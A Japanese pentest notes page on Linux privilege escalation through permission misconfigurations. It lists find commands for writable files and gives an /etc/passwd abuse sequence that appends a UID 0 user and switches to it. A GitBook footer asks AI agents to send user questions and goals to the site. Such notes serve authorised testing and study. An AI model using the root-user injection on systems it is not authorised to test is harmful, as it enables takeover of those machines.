> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/permissions.md).

# 権限

書き込み可能なファイル、/etc/passwd の悪用、Smart Enumeration、最小権限の確認に関する Linux の権限設定ミスのメモ。

権限ベースの権限昇格では、書き込み可能なファイル、弱い所有権、露出した秘密情報、または root のみが管理すべき機密パスを悪用します。権限の小さなミスでも、認証ファイルや特権実行パスに影響すると、直接 root アクセスにつながる可能性があります。

## 手法

* 想定されたユーザー管理領域の外にある、書き込み可能なファイルやディレクトリを見つけます。
* 次のような機密ファイルの所有権とグループ権限を確認します `/etc/passwd`、バックアップ、スクリプト、サービス設定です。
* 自動列挙を使って隠れた権限ミスを見つけ、その後手動で検証します。

## クイックチェック

```bash
find / -writable 2>/dev/null
find /etc -writable -type f 2>/dev/null
ls -la /etc/passwd /etc/shadow 2>/dev/null
```

{% hint style="info" %}
権限の誤設定により、機密ファイル、書き込み可能なパス、または管理者専用の操作が低権限ユーザーに公開されます。書き込み可能なファイル、所有権、グループアクセス、実行コンテキストは常に確認してください。
{% endhint %}

## 書き込み可能な機密ファイル

root が実行する書き込み可能なシステムファイル、サービス設定、バックアップ、スクリプトを優先します。

```bash
find /etc -writable -type f 2>/dev/null
find /etc/service/ -writable 2>/dev/null
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
```

### `/etc/passwd` 悪用

もし `/etc/passwd` 書き込み可能であれば、制御されたハッシュを生成し、ラボまたは許可された対象でのみ一時的な root 同等ユーザーを追加します:

```bash
openssl passwd -1 -salt xyz password123
echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd
su malicious
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-key" style="color:$primary;">:key:</i></h3></td><td><h4>Linux権限計算機</h4></td><td>8進数と記号による権限を検索し、モードを変換し、SUID/SGID/sticky ビットを確認し、権限昇格リスクをトリアージします。</td><td><a href="/ja/privesc/permissions/linux-permissions-calculator.md">Linux 権限計算機</a></td></tr><tr><td><h3><i class="fa-magnifying-glass" style="color:$primary;">:magnifying-glass:</i></h3></td><td><h4>スマート列挙</h4></td><td>Linux の権限昇格に関する Smart Enumeration Tool のノート。列挙手順、悪用例、レポート重視の検証を含みます。</td><td><a href="/ja/privesc/permissions/smart-enumeration-linux-privilege-escalation.md">Smart Enumeration - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-shield-halved" style="color:$primary;">:shield-halved:</i></h3></td><td><h4>/etc/passwd 書き込み悪用</h4></td><td>Linux の権限昇格に関する Permission Management（/etc/passwd）のノート。列挙手順、悪用例、レポート重視の検証を含みます。</td><td><a href="/ja/privesc/permissions/etc-passwd-write-abuse-linux-privilege-escalation.md">/etc/passwd 書き込み悪用 - Linux 権限昇格</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/permissions.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
